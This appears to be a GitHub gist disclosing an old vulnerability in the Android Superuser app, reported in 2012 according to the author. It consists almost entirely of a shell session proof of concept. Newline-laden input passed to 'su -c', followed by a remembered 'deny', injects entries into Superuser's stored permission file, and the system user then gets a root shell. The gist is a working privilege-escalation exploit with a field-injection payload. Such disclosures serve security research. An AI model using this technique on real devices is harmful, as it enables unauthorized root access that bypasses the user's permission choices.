Skip to content

Instantly share code, notes, and snippets.

@thejh
Created July 30, 2015 02:56
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save thejh/219deec09c3d99cfc9f2 to your computer and use it in GitHub Desktop.
Save thejh/219deec09c3d99cfc9f2 to your computer and use it in GitHub Desktop.
ooold superuser vuln, reported to chainsdd 2012-08-13
root@android:/ # su 1000
system@android:/ $ cd /tmp
system@android:/tmp $ cat > foo
/system/bin/sh
1
rubbish
system@android:/tmp $ su -c "$(cat foo)"
# press "deny" now with "remember" option activated
Permission denied
1|system@android:/tmp $ su
system@android:/tmp # cat /data/data/com.noshufou.android.su/files/stored/1000-0
/system/bin/sh
1
rubbish
0
system@android:/tmp # id
uid=0(root) gid=0(root)
system@android:/tmp #
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment